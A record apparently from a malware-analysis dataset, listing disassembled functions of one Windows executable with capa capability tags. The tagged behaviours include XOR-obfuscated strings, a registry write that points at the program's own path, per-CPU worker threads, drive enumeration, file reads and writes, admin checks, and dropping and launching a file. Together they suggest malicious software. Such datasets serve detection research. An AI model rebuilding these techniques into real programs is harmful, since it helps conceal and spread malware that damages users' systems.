joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408423
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.0040dcf0
push ebx
push esi
push edi
mov esi, ecx
push eax
push edx
xor eax, eax
xor edx, edx
rdtsc
mov dword [0x413554], eax
pop edx
pop eax
or dword [ebp - 0xc], 0xffffffff
xor edx, edx
mov ecx, dword [0x413554]
inc edx
mov dword [ebp - 0x138c], ecx
mov edi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [ebp + edx*4 - 0x138c], ecx
inc edx
cmp edx, edi
jb 0x40845c
mov dword [ebp - 0x1390], edi
cmp esi, 0xffffffff
jne 0x408491
lea ecx, [ebp - 0x1390]
call fcn.00408519
mov edx, eax
jmp 0x4084ca
lea ebx, [esi + 1]
xor edi, edi
xor eax, eax
test esi, esi
je 0x4084ac
lea ecx, [ebp - 0x1390]
call fcn.00408519
mov edi, eax
or eax, 0xffffffff
xor edx, edx
div ebx
mov ecx, eax
mov dword [ebp - 4], edx
xor edx, edx
mov eax, edi
div ebx
cmp eax, ecx
jb 0x4084c4
cmp dword [ebp - 4], esi
jne 0x408494
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x4084d1
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
mov eax, dword [0x413558]
push esi
push edi
mov edi, edx
test eax, eax
je 0x4084ed
push edi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x408502
xor esi, esi
mov ecx, 0xff
call fcn.00408423
mov byte [esi + edi], al
inc esi
cmp esi, 0x20
jl 0x4084ef
pop edi
pop esi
pop ecx
ret

Function at 0x408519
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x408561
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x408529
jmp 0x40856e
cmp dword [esi], 0x4e0
jb 0x40856e
call fcn.004085a8
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x4085a8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4085ba
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4085ff
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret

Function at 0x408d0d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor edx, edx
push ebx
push esi
push edi
xor edi, edi
push 3
inc edi
pop ecx
mov dword [0x4136e8], edi
call fcn.0040d807
push 6
xor edx, edx
pop ecx
call fcn.0040d807
mov eax, dword [0x413730]
xor ebx, ebx
mov ecx, dword [0x4136a0]
mov esi, ebx
test eax, eax
je 0x408d77
mov edx, dword [ecx + esi*4]
test edx, edx
je 0x408d72
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4136a0]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4136a0]
mov eax, dword [0x413730]
mov dword [ecx + esi*4], ebx
inc esi
cmp esi, eax
jb 0x408d46
call fcn.00406db4
push 3
mov edx, edi
mov dword [0x4136a0], ebx
pop ecx
call fcn.0040d807
push 5
mov edx, edi
pop ecx
call fcn.0040d807
push 6
mov edx, edi
pop ecx
call fcn.0040d807
movaps xmm0, xmmword [0x401de0]
mov eax, ebx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x34], 0x55
inc eax
cmp eax, 0x11
jb 0x408db3
mov eax, ebx
mov byte [ebp - 0x23], bl
cmp dword [0x41355c], ebx
je 0x408de9
movaps xmm0, xmmword [0x4019c0]
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408dd6
mov byte [ebp - 1], bl
lea eax, [ebp - 0x10]
jmp 0x408e0b
movaps xmm0, xmmword [0x401da0]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x11
jb 0x408dfa
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x22]
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.0040d976
pop ecx
pop ecx
pop edi
pop esi
mov dword [0x4136e8], ebx
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408e26
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov dword [0x413778], ecx
mov ecx, 0x41370c
push esi
call fcn.00407f57
mov ecx, 0x413564
call fcn.00407f57
mov ecx, 0x4136ec
call fcn.00407f57
mov edx, 0x40e8b9
mov ecx, 0x413734
call fcn.004021e0
mov edx, 0x40e0b1
mov ecx, 0x4136a4
call fcn.004021e0
mov edx, 0x40e4b5
mov ecx, 0x413560
call fcn.004021e0
push 0x413588
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movaps xmm0, xmmword [0x401920]
xor eax, eax
push 0x55
movups xmmword [ebp - 0x10], xmm0
pop ebx
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408e9a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
push eax
push 0x4135a0
mov byte [ebp - 1], 0
call esi
movaps xmm0, xmmword [0x401e80]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 0xc], 0x30
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x38
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x27
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x2c
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x1c], bl
inc eax
cmp eax, 0x1b
jb 0x408ef0
lea eax, [ebp - 0x1c]
mov byte [ebp - 1], 0
push eax
push 0x4135e0
call esi
movaps xmm0, xmmword [0x401c40]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x26
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408f24
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413738
call esi
movaps xmm0, xmmword [0x401e90]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x39
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408f58
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413660
call esi
movaps xmm0, xmmword [0x401970]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408f7e
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x413620
call esi
movaps xmm0, xmmword [0x401900]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408fa4
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x4136a8
call esi
pop esi
pop ebx
leave
ret
Function at 0x40901e
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x4136a0], 0
jne 0x4090e4
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x41355c], esi
mov dword [0x413584], esi
mov dword [0x413730], ecx
shl ecx, 2
mov dword [0x41372c], esi
call fcn.00406d0f
mov dword [0x4136a0], eax
test eax, eax
je 0x4090e3
push edi
mov ecx, 0x41370c
call fcn.00407f7a
mov ecx, 0x413564
call fcn.00407f7a
mov ecx, 0x4136ec
call fcn.00407f7a
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x4090da
push esi
push esi
push esi
push 0x408673
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x409093
jmp 0x4090da
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x408968
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x413730]
jb 0x4090b8
pop edi
pop esi
leave
ret

Function at 0x409117
Capabilities:
Create thread

Disassembly:
cmp dword [0x41355c], 0
jne 0x40913b
push 5
xor edx, edx
pop ecx
call fcn.0040d807
and dword [0x413584], 0
mov dword [0x41355c], 1
xor ecx, ecx
jmp fcn.004090e6

Function at 0x40914e
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1b
jb 0x409150
mov byte [ecx + 0x1b], 0
mov eax, ecx
ret

Function at 0x409161
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x11
jb 0x409163
mov byte [ecx + 0x11], 0
mov eax, ecx
ret

Function at 0x409174
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call fcn.00409e8f
cmp eax, 3
jne 0x4091b4
mov dword [ebp - 6], 0x5578557e
xor eax, eax
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 5
jb 0x409195
movzx eax, word [esi + 4]
cmp ax, word [ebp - 6]
je 0x4091b4
cmp ax, word [ebp - 4]
jne 0x4091b4
xor al, al
jmp 0x4091b6
mov al, 1
pop esi
leave
ret
Function at 0x40968f
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1d
jb 0x409691
mov byte [ecx + 0x1d], 0
mov eax, ecx
ret

Function at 0x4096a2
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x14
jb 0x4096a4
mov byte [ecx + 0x14], 0
mov eax, ecx
ret
Function at 0x4099f1
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
push esi
mov ecx, 0x10000
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x409b57
mov dword [ebp - 4], 0x555577
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409a1b
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409b50
mov dword [ebp - 0x18], 0x55755577
mov eax, ebx
mov dword [ebp - 0x14], 0x5503557a
mov dword [ebp - 0x10], 0x555578
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xb
jb 0x409a63
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x18]
push eax
push esi
mov byte [ebp - 0xd], bl
call edi
movaps xmm0, xmmword [0x401a40]
mov eax, ebx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x28], 0x3003213b
movaps xmm0, xmmword [0x401a20]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x3a3c2627
mov dword [ebp - 0x20], 0x2007093b
mov word [ebp - 0x1c], 0x3b
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x2d
jb 0x409ab2
lea eax, [ebp - 8]
mov byte [ebp - 0x1b], bl
push eax
lea eax, [ebp - 0x48]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409b4f
mov dword [ebp - 4], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409ae0
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0xc]
lea eax, [ebp - 0x68]
push eax
call edi
mov dword [ebp - 4], 0x555528
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409b0e
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, esi
call fcn.00406db4
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x409b5d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2d
jb 0x409b5f
mov byte [ecx + 0x2d], 0
mov eax, ecx
ret

Function at 0x409b70
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x19
jb 0x409b72
mov byte [ecx + 0x19], 0
mov eax, ecx
ret
Function at 0x409b83
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
or esi, 0xffffffff
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0xc], eax
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x409c9b
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 4]
test eax, eax
cmovne esi, dword [ebp - 0x10]
cmovne ebx, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jl 0x409c9b
jg 0x409c9b
test esi, esi
je 0x409c9b
test ebx, ebx
jg 0x409c9b
jl 0x409c06
cmp esi, 0x2000
ja 0x409c9b
mov ecx, edi
call fcn.00409e8f
jmp 0x409c17
cmp word [edi + eax*2], 0x5c
je 0x409c1d
dec eax
test eax, eax
jg 0x409c0f
jmp 0x409c1e
inc eax
lea eax, [edi + eax*2]
mov ebx, 0x413780
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [0x40fcc1], eax
push edx
push edx
lea ecx, [eax + 1]
push ecx
push 0x40fcc5
push eax
push ebx
push edx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [0x40fd45], esi
mov ecx, edi
push esi
mov esi, 0x40fd49
mov edx, esi
call fcn.00409e32
mov edx, dword [0x40fd45]
pop ecx
mov ecx, esi
call fcn.0040565c
push 0x1000
mov ecx, 0x411d4d
mov dword [0x41377c], eax
call fcn.00406d67
and dword [0x411d49], 0
xor eax, eax
add esp, 4
inc eax
jmp 0x409c9d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409ca2
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409cf6
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x409cfc
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00406d67
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x409d4a
cmp dword [ebp - 0x110], 5
jne 0x409d4a
cmp dword [ebp - 0x10c], 2
ja 0x409d4a
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x409dca
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409dde
test al, 0x10
je 0x409dde
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x409de1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409e25
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x409e32
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
call fcn.00409d93
test eax, eax
je 0x409e8a
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409e82
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409f6c
Capabilities:
Encode data using xor
Link many functions at runtime
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0x27212607
mov dword [ebp - 9], 0x27321821
mov eax, ebx
mov dword [ebp - 5], 0x3939317b
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xd], 0x55
inc eax
cmp eax, 0xc
jb 0x409f8f
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [0x414090], ecx
test ecx, ecx
je 0x40a158
mov dword [ebp - 0x1c], 0x21063807
mov eax, ebx
mov dword [ebp - 0x18], 0x6212734
mov dword [ebp - 0x14], 0x3c262630
mov word [ebp - 0x10], 0x3b3a
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xe
jb 0x409fd7
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 0xe], bl
call esi
movaps xmm0, xmmword [0x401a00]
mov dword [0x41388c], eax
mov eax, ebx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x263036
xor byte [ebp + eax - 0x30], 0x55
inc eax
cmp eax, 0x13
jb 0x40a00c
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1d], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414094], eax
mov eax, ebx
mov dword [ebp - 0xa], 0x30123807
mov dword [ebp - 6], 0x263c1921
mov word [ebp - 2], 0x21
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a041
lea eax, [ebp - 0xa]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414098], eax
mov eax, ebx
mov dword [ebp - 0x1a], 0x3b103807
mov dword [ebp - 0x16], 0x26300631
mov dword [ebp - 0x12], 0x3b3a3c26
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0xc
jb 0x40a07a
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413888], eax
mov eax, ebx
mov dword [ebp - 0xb], 0x3d063807
mov dword [ebp - 7], 0x3a312120
mov word [ebp - 3], 0x3b22
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xb], 0x55
inc eax
cmp eax, 0xa
jb 0x40a0b2
lea eax, [ebp - 0xb]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413880], eax
pop esi
cmp dword [0x41388c], ebx
je 0x40a146
cmp dword [0x414094], ebx
je 0x40a146
cmp dword [0x414098], ebx
je 0x40a146
cmp dword [0x413888], ebx
je 0x40a146
test eax, eax
je 0x40a146
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
movaps xmm0, xmmword [0x401b30]
mov dword [0x413884], eax
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5501551a
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x15
jb 0x40a122
push 0x400
push 0x413890
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x40a158
push dword [0x414090]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x414090], ebx
pop ebx
leave
ret

Function at 0x40a30b
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x15
jb 0x40a30d
mov byte [ecx + 0x15], 0
mov eax, ecx
ret
Function at 0x40a31e
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x40fcc1], 0
je 0x40a3e2
push esi
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a3e1
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x40fcc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.00409e9f
push dword [0x40fd45]
mov edx, 0x40fd49
lea ecx, [ebp - 0x90c]
call fcn.00409de1
pop ecx
pop ecx
test eax, eax
je 0x40a3e0
mov dword [ebp - 0xa], 0x5525553a
mov eax, ebx
mov dword [ebp - 6], 0x553b5530
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a3bc
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a3e4
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a486
push esi
lea ecx, [edi*2 + 2]
call fcn.00406d0f
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a485
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a47e
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407fd3
add esp, 0xc
test eax, eax
je 0x40a468
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a44f
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d8cf
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a430
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.00406db4
pop esi
pop edi
pop ebx
leave
ret